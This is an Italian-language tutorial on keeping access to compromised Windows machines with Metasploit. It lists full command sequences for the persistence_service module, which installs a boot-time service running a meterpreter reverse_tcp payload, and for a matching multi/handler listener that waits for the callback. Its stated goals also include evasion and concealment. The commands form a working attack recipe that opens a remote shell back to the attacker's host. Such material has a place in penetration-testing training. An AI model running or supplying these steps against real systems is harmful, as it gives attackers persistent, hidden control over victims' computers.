Tutorials

Guida alla Persistenza su Windows con Metasploit Framework

Nel contesto del post-exploitation su sistemi Windows, una delle fasi più critiche è l'establishing persistence, ovvero la capacità di mantenere l'accesso ad una macchina compromessa anche dopo il ria

#exploitation#windows#metasploit

Guida alla Persistenza su Windows con Metasploit Framework

Introduzione

Nel contesto del post-exploitation su sistemi Windows, una delle fasi più critiche è l'establishing persistence, ovvero la capacità di mantenere l'accesso ad una macchina compromessa anche dopo il riavvio del sistema. In questa guida, approfondiremo l'utilizzo del modulo exploit/windows/local/persistence_service di Metasploit per creare un servizio persistente, oltre a integrare altre tecniche e best practice per garantire una presenza duratura all'interno del target compromesso.


Obiettivi della guida

  • Comprendere l'uso del modulo persistence_service
  • Configurare correttamente un listener per mantenere l'accesso
  • Approfondire altre tecniche comuni di persistenza su Windows
  • Best practice per l'evasione e l'occultamento

1. Utilizzo del modulo exploit/windows/local/persistence_service

Descrizione

Il modulo persistence_service permette di installare un servizio Windows che esegue un payload predefinito ogni volta che il sistema si avvia, garantendo accesso continuo all'attaccante.

Comandi Metasploit:

bash
use exploit/windows/local/persistence_service
set SESSION <id_sessione>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <tuo_ip>
set LPORT <porta>
run
  • SESSION: ID della sessione meterpreter attiva
  • PAYLOAD: deve essere coerente con quello del listener
  • LHOST / LPORT: devono coincidere con quelli del multi/handler

2. Configurazione del listener

Dopo aver configurato la persistenza, bisogna predisporre un listener in attesa della connessione in ingresso. Questo si realizza con il modulo exploit/multi/handler:

Comandi Metasploit:

bash
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <tuo_ip>
set LPORT <porta>
run
✅ Assicurati che PAYLOAD, LHOST e LPORT coincidano esattamente con quelli usati nel servizio di persistenza.